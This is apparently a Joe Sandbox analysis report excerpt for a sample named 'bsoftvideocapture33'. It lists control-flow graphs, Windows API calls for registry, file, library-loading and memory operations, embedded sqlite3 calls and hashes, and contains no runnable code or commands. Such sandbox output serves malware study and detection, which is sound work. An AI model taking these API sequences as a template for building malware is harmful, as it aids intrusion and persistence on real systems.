                                                                                          • Instruction Fuzzy Hash: A5F030706547019DDB101F319E4572A3AA89B4075BF10447FF900F91D1EFBC9684951D

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 772 4017de-4017e6 RegQueryValueExA 773 40247c-40247f 772->773 774 4017ec-401d0e 772->774 775 40dc75-40dc80 RegCloseKey 773->775
                                                                                          APIs
                                                                                          • RegQueryValueExA.KERNELBASE ref: 004017DE
                                                                                          • RegCloseKey.KERNELBASE(?), ref: 0040DC75
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseQueryValue
                                                                                          • String ID:
                                                                                          • API String ID: 3356406503-0
                                                                                          • Opcode ID: 5ad67c8a39487344e96e9cb6179430a83acd2c5e93a6dbd4e2d459891915e631
                                                                                          • Instruction ID: b21d03ad2aedbe20e8a586db3b2be798defa073b6974d081bfd4ccbd225a0fc0
                                                                                          • Opcode Fuzzy Hash: 5ad67c8a39487344e96e9cb6179430a83acd2c5e93a6dbd4e2d459891915e631
                                                                                          • Instruction Fuzzy Hash: CBD0A72270C010E6DB010BF47F4CD6936505B443623214037D253F00E0D6BC800AB62F

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 779 2d0c01d-2d0c0bd DeleteFileA
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3384850587.0000000002CA8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CA8000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_2ca8000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: DeleteFile
                                                                                          • String ID:
                                                                                          • API String ID: 4033686569-0
                                                                                          • Opcode ID: f9803b8480792056e34924d2a2a8535bac6b1854602d0fb08de7774307fe52e0
                                                                                          • Instruction ID: 18ce95d30f40faa1c7b88b4495e54a2e084b9f436c6ec1174adafa9685e86299
                                                                                          • Opcode Fuzzy Hash: f9803b8480792056e34924d2a2a8535bac6b1854602d0fb08de7774307fe52e0
                                                                                          • Instruction Fuzzy Hash: 2D0192F264C2009BEB053E19EC95779FBE5EF54320F1A492DDBD143340EA3A941586DB

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 780 2cb19fc-2ce4e2f CreateFileA
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3384850587.0000000002CA8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CA8000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_2ca8000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateFile
                                                                                          • String ID:
                                                                                          • API String ID: 823142352-0
                                                                                          • Opcode ID: 622f2d8b747e54db9c8e8146e775f5c548b7c34688eca2ddf1753d48ddf6605d
                                                                                          • Instruction ID: 42efc08cb002358ffaa303b68b5c542716beb4168435d8e2d044dd8ad7cb3f89
                                                                                          • Opcode Fuzzy Hash: 622f2d8b747e54db9c8e8146e775f5c548b7c34688eca2ddf1753d48ddf6605d
                                                                                          • Instruction Fuzzy Hash: 3DE086B26483049BD3723A49FCC97E6F394EF45211F090529D39143710E63545548ADB
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: ManagerOpen
                                                                                          • String ID:
                                                                                          • API String ID: 1889721586-0
                                                                                          • Opcode ID: ee63acadfaefc96dfd26b8aee54c98c51e961b5c6ac1dff0052645dd64a69a6c
                                                                                          • Instruction ID: 59f6873a7ff8e39241e8bd06800a0fb7d672565839761e9c09e755fd62553a04
                                                                                          • Opcode Fuzzy Hash: ee63acadfaefc96dfd26b8aee54c98c51e961b5c6ac1dff0052645dd64a69a6c
                                                                                          • Instruction Fuzzy Hash: 14D0237F14805549C741455C65580F4575158C13313254576C465FF380CB7CC58FD519
                                                                                          APIs
                                                                                          • RegCreateKeyExA.KERNELBASE ref: 0040D14B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Create
                                                                                          • String ID:
                                                                                          • API String ID: 2289755597-0
                                                                                          • Opcode ID: ccb7d33c219d983389c39d46d717b5e640b71822a496610bc15e8096d48de392
                                                                                          • Instruction ID: abe5579895f0531d3f7a9e817786168c8a77c17fe169268c2aac2d9503a079c8
                                                                                          • Opcode Fuzzy Hash: ccb7d33c219d983389c39d46d717b5e640b71822a496610bc15e8096d48de392
                                                                                          • Instruction Fuzzy Hash: 30D0C75440D5C19DD61367B01F151B13F90592730179410B7D4D2F51E7D27D8986F71E
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: CopyFile
                                                                                          • String ID:
                                                                                          • API String ID: 1304948518-0
                                                                                          • Opcode ID: b917fef25385f130ca5a1919e2433252e56b0b28ebc8454518f3a906cef45f54
                                                                                          • Instruction ID: bce576962dd379fde703c9b9f875acca9d656b5740b587bbce9b12bc35a39d44
                                                                                          • Opcode Fuzzy Hash: b917fef25385f130ca5a1919e2433252e56b0b28ebc8454518f3a906cef45f54
                                                                                          • Instruction Fuzzy Hash: BEC08C7080C00AEBE3088A808E88ABA22AC1F08741720003B4507B00E0C23C404AB62F
                                                                                          APIs
                                                                                          • CreateDirectoryA.KERNELBASE ref: 004022DC
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateDirectory
                                                                                          • String ID:
                                                                                          • API String ID: 4241100979-0
                                                                                          • Opcode ID: 13e419042218fc887ad6eb16f9d87aeb4ad92b5fd9ebc7af7b8389a8b580b8b6
                                                                                          • Instruction ID: 44d6e26128b6884ff7679f3d80cd04ffb7b0d256b4ddaf8c107fdca77f5f6d4e
                                                                                          • Opcode Fuzzy Hash: 13e419042218fc887ad6eb16f9d87aeb4ad92b5fd9ebc7af7b8389a8b580b8b6
                                                                                          • Instruction Fuzzy Hash: 9FB01210546D30EBD10116908E0897B24058C15302331403B7542700E1C97C090B66DF
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: CopyFile
                                                                                          • String ID:
                                                                                          • API String ID: 1304948518-0
                                                                                          • Opcode ID: 2371583da19358962dcfa1f1b1353990d1a871b175f5481a37800e23f731a5c3
                                                                                          • Instruction ID: 3811cd97921689113ef3863bdca5c6851876d82596ea026e5491fedaa6e4c587
                                                                                          • Opcode Fuzzy Hash: 2371583da19358962dcfa1f1b1353990d1a871b175f5481a37800e23f731a5c3
                                                                                          • Instruction Fuzzy Hash: D0B01250848001FDC04006904E5DA23508C4320306F20003B3303380D0057C404FA11F
                                                                                          APIs
                                                                                          • LoadLibraryExA.KERNELBASE(?), ref: 00401CED
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: LibraryLoad
                                                                                          • String ID:
                                                                                          • API String ID: 1029625771-0
                                                                                          • Opcode ID: b2507f603f4e869be60aa7084eb900c3661600fa8556967a1ff66dc588634d37
                                                                                          • Instruction ID: e7935804d7a27fc207874f5343116593c74df60c85093d788bf88d29cd8bf6a7
                                                                                          • Opcode Fuzzy Hash: b2507f603f4e869be60aa7084eb900c3661600fa8556967a1ff66dc588634d37
                                                                                          • Instruction Fuzzy Hash: 27B09279848104DACB05AFD1EA885BC7AB1AA04310B214036A006B22B1C7388646AA2A
                                                                                          APIs
                                                                                          • RegSetValueExA.KERNELBASE(?), ref: 0040D73F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value
                                                                                          • String ID:
                                                                                          • API String ID: 3702945584-0
                                                                                          • Opcode ID: 7a3aa68ed6d9d5dceee6f950c85b71f3fa7ae3fccb077c26c6228621b7fad709
                                                                                          • Instruction ID: 5a7c53645ee8e103abcbf7a406b590f5eac95357ae00bb346b61fb04db97e7a6
                                                                                          • Opcode Fuzzy Hash: 7a3aa68ed6d9d5dceee6f950c85b71f3fa7ae3fccb077c26c6228621b7fad709
                                                                                          • Instruction Fuzzy Hash: D8B00235904455DBCB551B919F047A8BA72AB08345F1200A5D29A7506187350A65AE1E
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: ExitProcess
                                                                                          • String ID:
                                                                                          • API String ID: 621844428-0
                                                                                          • Opcode ID: 932ff28081df95920903104563e29f935adf98f4e129a9b119ca7abfbdcd88a4
                                                                                          • Instruction ID: 050337aeaad8d19f849876decec4606ea99ad6b5398e231f8b940e0ef5e97f50
                                                                                          • Opcode Fuzzy Hash: 932ff28081df95920903104563e29f935adf98f4e129a9b119ca7abfbdcd88a4
                                                                                          • Instruction Fuzzy Hash: EDA0022195460096D14437B1AB0AB3C3A106702705F1949BF7696740E18D7841C96D1F
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Close
                                                                                          • String ID:
                                                                                          • API String ID: 3535843008-0
                                                                                          • Opcode ID: f0e628ddbc344ffbda41f7620672b63f8bf342683358c58394831a09fe20f18b
                                                                                          • Instruction ID: dda67c34ddd12e46cf89bee5fdad3fc08eb6cdc9d6bdb0f8c61c58e090348644
                                                                                          • Opcode Fuzzy Hash: f0e628ddbc344ffbda41f7620672b63f8bf342683358c58394831a09fe20f18b
                                                                                          • Instruction Fuzzy Hash:
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Sleep
                                                                                          • String ID:
                                                                                          • API String ID: 3472027048-0
                                                                                          • Opcode ID: 3dbd5a8a9f8386c4b61076cac254c5b7d1889f484a55250d19ba6cbf1eaa4251
                                                                                          • Instruction ID: 0359a8488404058c89c743df09eb1fcc7ab102006f8251cb34eb0f088786809e
                                                                                          • Opcode Fuzzy Hash: 3dbd5a8a9f8386c4b61076cac254c5b7d1889f484a55250d19ba6cbf1eaa4251
                                                                                          • Instruction Fuzzy Hash: 37C0122528D2915AD20116711D192B92B54AA41711B351C7BE183EB0E7C77D418B512A
                                                                                          APIs
                                                                                          • VirtualAlloc.KERNELBASE(00000000), ref: 00401697
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3383498631.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3383498631.000000000040B000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_400000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocVirtual
                                                                                          • String ID:
                                                                                          • API String ID: 4275171209-0
                                                                                          • Opcode ID: 47ae5641f97944af6daedf0bfd5bd70ee9460e11c76e7f7a1bc78857963e8b89
                                                                                          • Instruction ID: e98b187e6d1f0a0c574d293016748aed42d515e6237f9865eff935aaf6e740bd
                                                                                          • Opcode Fuzzy Hash: 47ae5641f97944af6daedf0bfd5bd70ee9460e11c76e7f7a1bc78857963e8b89
                                                                                          • Instruction Fuzzy Hash: E0C08C30908100DFC7048BA0CD04F2CBFB0BB00301F010022E441B31A0C33C9404AB19
                                                                                          APIs
                                                                                          • sqlite3_malloc.SQLITE3 ref: 609674C6
                                                                                            • Part of subcall function 60916FBA: sqlite3_initialize.SQLITE3(60912743,?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5), ref: 60916FC4
                                                                                            • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                            • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                            • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                          • sqlite3_step.SQLITE3 ref: 6096755A
                                                                                          • sqlite3_malloc.SQLITE3 ref: 6096783A
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 609678A8
                                                                                          • sqlite3_column_bytes.SQLITE3 ref: 609678E8
                                                                                          • sqlite3_column_blob.SQLITE3 ref: 60967901
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 6096791A
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 60967931
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 60967950
                                                                                          • sqlite3_step.SQLITE3 ref: 609679C3
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 60967AA9
                                                                                          • sqlite3_step.SQLITE3 ref: 60967AB4
                                                                                          • sqlite3_column_int.SQLITE3 ref: 60967AC7
                                                                                          • sqlite3_reset.SQLITE3 ref: 60967AD4
                                                                                          • sqlite3_bind_int.SQLITE3 ref: 60967B89
                                                                                          • sqlite3_step.SQLITE3 ref: 60967B94
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 60967BB0
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 60967BCF
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 60967BE6
                                                                                          • sqlite3_column_bytes.SQLITE3 ref: 60967C05
                                                                                          • sqlite3_column_blob.SQLITE3 ref: 60967C1E
                                                                                            • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED50
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 60967C72
                                                                                          • sqlite3_step.SQLITE3 ref: 60967C7D
                                                                                          • memcmp.MSVCRT ref: 60967D4C
                                                                                          • sqlite3_free.SQLITE3 ref: 60967D69
                                                                                          • sqlite3_free.SQLITE3 ref: 60967D74
                                                                                          • sqlite3_free.SQLITE3 ref: 60967FF7
                                                                                          • sqlite3_free.SQLITE3 ref: 60968002
                                                                                            • Part of subcall function 609634F0: sqlite3_blob_reopen.SQLITE3 ref: 60963510
                                                                                            • Part of subcall function 609634F0: sqlite3_blob_bytes.SQLITE3 ref: 609635A3
                                                                                            • Part of subcall function 609634F0: sqlite3_malloc.SQLITE3 ref: 609635BB
                                                                                            • Part of subcall function 609634F0: sqlite3_blob_read.SQLITE3 ref: 60963602
                                                                                            • Part of subcall function 609634F0: sqlite3_free.SQLITE3 ref: 60963621
                                                                                          • sqlite3_reset.SQLITE3 ref: 60967C93
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                          • sqlite3_reset.SQLITE3 ref: 60967CA7
                                                                                          • sqlite3_reset.SQLITE3 ref: 60968035
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 60967B72
                                                                                            • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6096809D
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 609680C6
                                                                                          • sqlite3_step.SQLITE3 ref: 609680D1
                                                                                          • sqlite3_column_int.SQLITE3 ref: 609680F3
                                                                                          • sqlite3_reset.SQLITE3 ref: 60968104
                                                                                          • sqlite3_step.SQLITE3 ref: 60968139
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 60968151
                                                                                          • sqlite3_reset.SQLITE3 ref: 6096818A
                                                                                            • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED2B
                                                                                            • Part of subcall function 6095ECA6: sqlite3_bind_value.SQLITE3 ref: 6095EDDF
                                                                                          • sqlite3_reset.SQLITE3 ref: 609679E9
                                                                                            • Part of subcall function 609160CD: sqlite3_realloc.SQLITE3 ref: 609160EF
                                                                                          • sqlite3_column_bytes.SQLITE3 ref: 60967587
                                                                                            • Part of subcall function 6091D5DC: sqlite3_value_bytes.SQLITE3 ref: 6091D5F4
                                                                                          • sqlite3_column_blob.SQLITE3 ref: 60967572
                                                                                            • Part of subcall function 6091D57E: sqlite3_value_blob.SQLITE3 ref: 6091D596
                                                                                          • sqlite3_reset.SQLITE3 ref: 609675B7
                                                                                          • sqlite3_bind_int.SQLITE3 ref: 60967641
                                                                                          • sqlite3_step.SQLITE3 ref: 6096764C
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 6096766E
                                                                                          • sqlite3_reset.SQLITE3 ref: 6096768B
                                                                                          • sqlite3_bind_int.SQLITE3 ref: 6096754F
                                                                                            • Part of subcall function 609256E5: sqlite3_bind_int64.SQLITE3 ref: 60925704
                                                                                          • sqlite3_bind_int.SQLITE3 ref: 609690B2
                                                                                          • sqlite3_bind_blob.SQLITE3 ref: 609690DB
                                                                                          • sqlite3_step.SQLITE3 ref: 609690E6
                                                                                          • sqlite3_reset.SQLITE3 ref: 609690F1
                                                                                          • sqlite3_free.SQLITE3 ref: 60969102
                                                                                          • sqlite3_free.SQLITE3 ref: 6096910D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_reset$sqlite3_step$sqlite3_column_int64sqlite3_free$sqlite3_bind_int64$sqlite3_bind_int$sqlite3_column_blobsqlite3_column_bytessqlite3_mallocsqlite3_mprintf$sqlite3_column_intsqlite3_mutex_leave$memcmpsqlite3_bind_blobsqlite3_bind_valuesqlite3_blob_bytessqlite3_blob_readsqlite3_blob_reopensqlite3_initializesqlite3_mutex_entersqlite3_prepare_v2sqlite3_reallocsqlite3_value_blobsqlite3_value_bytes
                                                                                          • String ID: $d
                                                                                          • API String ID: 2451604321-2084297493
                                                                                          • Opcode ID: 8a4e51d2763d1baa8146902d495da2ef892242416c9706ebfa3093aedc646825
                                                                                          • Instruction ID: 6b7ea73e19bc996eb6a422b8fcf26663d3cb25e4dd91ceba81a4d6a678ae72ab
                                                                                          • Opcode Fuzzy Hash: 8a4e51d2763d1baa8146902d495da2ef892242416c9706ebfa3093aedc646825
                                                                                          • Instruction Fuzzy Hash: 2CF2CF74A152288FDB54CF68C980B9EBBF2BF69304F1185A9E888A7341D774ED85CF41
                                                                                          APIs
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6096A64C
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6096A656
                                                                                          • sqlite3_strnicmp.SQLITE3 ref: 6096A682
                                                                                          • sqlite3_strnicmp.SQLITE3 ref: 6096A6BC
                                                                                          • sqlite3_mprintf.SQLITE3 ref: 6096A6F9
                                                                                          • sqlite3_malloc.SQLITE3 ref: 6096A754
                                                                                          • sqlite3_step.SQLITE3 ref: 6096A969
                                                                                          • sqlite3_free.SQLITE3 ref: 6096A9AC
                                                                                          • sqlite3_finalize.SQLITE3 ref: 6096A9BB
                                                                                          • sqlite3_strnicmp.SQLITE3 ref: 6096B04A
                                                                                            • Part of subcall function 6096A38C: sqlite3_bind_int.SQLITE3 ref: 6096A3DE
                                                                                            • Part of subcall function 6096A38C: sqlite3_step.SQLITE3 ref: 6096A435
                                                                                            • Part of subcall function 6096A38C: sqlite3_reset.SQLITE3 ref: 6096A445
                                                                                          • sqlite3_value_int.SQLITE3 ref: 6096B241
                                                                                          • sqlite3_malloc.SQLITE3 ref: 6096B270
                                                                                          • sqlite3_bind_null.SQLITE3 ref: 6096B2DF
                                                                                          • sqlite3_step.SQLITE3 ref: 6096B2EA
                                                                                          • sqlite3_reset.SQLITE3 ref: 6096B2F5
                                                                                          • sqlite3_value_int.SQLITE3 ref: 6096B43B
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6096B530
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6096B576
                                                                                          • sqlite3_free.SQLITE3 ref: 6096B5F4
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_stepsqlite3_strnicmp$sqlite3_freesqlite3_mallocsqlite3_resetsqlite3_value_bytessqlite3_value_intsqlite3_value_text$sqlite3_bind_intsqlite3_bind_nullsqlite3_finalizesqlite3_mprintf
                                                                                          • String ID: optimize
                                                                                          • API String ID: 1540667495-3797040228
                                                                                          • Opcode ID: ab382b16e3f59fac809a38361d516dac1e6c4c02a096abfb60effccae4f38c9b
                                                                                          • Instruction ID: 15d53f9c7948a495e2c6926a79545eea34293df74e7a3e63ea56b3727437b729
                                                                                          • Opcode Fuzzy Hash: ab382b16e3f59fac809a38361d516dac1e6c4c02a096abfb60effccae4f38c9b
                                                                                          • Instruction Fuzzy Hash: 54B2F670A142198FEB14DF68C890B9DBBF6BF68304F1085A9E889AB351E774DD85CF41
                                                                                          APIs
                                                                                          • sqlite3_finalize.SQLITE3 ref: 60966178
                                                                                          • sqlite3_free.SQLITE3 ref: 60966183
                                                                                          • sqlite3_value_numeric_type.SQLITE3 ref: 609661AE
                                                                                          • sqlite3_value_numeric_type.SQLITE3 ref: 609661DE
                                                                                          • sqlite3_value_text.SQLITE3 ref: 60966236
                                                                                          • sqlite3_value_int.SQLITE3 ref: 60966274
                                                                                          • memcmp.MSVCRT ref: 6096639E
                                                                                            • Part of subcall function 60940A5B: sqlite3_malloc.SQLITE3 ref: 60940AA1
                                                                                            • Part of subcall function 60940A5B: sqlite3_free.SQLITE3 ref: 60940C1D
                                                                                          • sqlite3_mprintf.SQLITE3 ref: 60966B51
                                                                                          • sqlite3_mprintf.SQLITE3 ref: 60966B7D
                                                                                            • Part of subcall function 609296AA: sqlite3_initialize.SQLITE3 ref: 609296B0
                                                                                            • Part of subcall function 609296AA: sqlite3_vmprintf.SQLITE3 ref: 609296CA
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_mprintfsqlite3_value_numeric_type$memcmpsqlite3_finalizesqlite3_initializesqlite3_mallocsqlite3_value_intsqlite3_value_textsqlite3_vmprintf
                                                                                          • String ID: ASC$DESC$x
                                                                                          • API String ID: 4082667235-1162196452
                                                                                          • Opcode ID: 7264e4280a4ba67b830c3238f8418230a53be4a89f04bb086879d88682624c0f
                                                                                          • Instruction ID: 01f4316cc9c65235d83944c747b96ccca9397e1276bdc6c450b31a73d7ca280a
                                                                                          • Opcode Fuzzy Hash: 7264e4280a4ba67b830c3238f8418230a53be4a89f04bb086879d88682624c0f
                                                                                          • Instruction Fuzzy Hash: AD921274A14319CFEB10CFA9C99079DBBB6BF69304F20816AD858AB342D774E985CF41
                                                                                          APIs
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 6096882B
                                                                                          • sqlite3_bind_int.SQLITE3 ref: 60968842
                                                                                          • sqlite3_step.SQLITE3 ref: 6096884D
                                                                                          • sqlite3_reset.SQLITE3 ref: 60968858
                                                                                          • sqlite3_bind_int64.SQLITE3 ref: 60968907
                                                                                          • sqlite3_bind_int.SQLITE3 ref: 60968924
                                                                                          • sqlite3_step.SQLITE3 ref: 6096892F
                                                                                          • sqlite3_column_blob.SQLITE3 ref: 60968947
                                                                                          • sqlite3_column_bytes.SQLITE3 ref: 6096895C
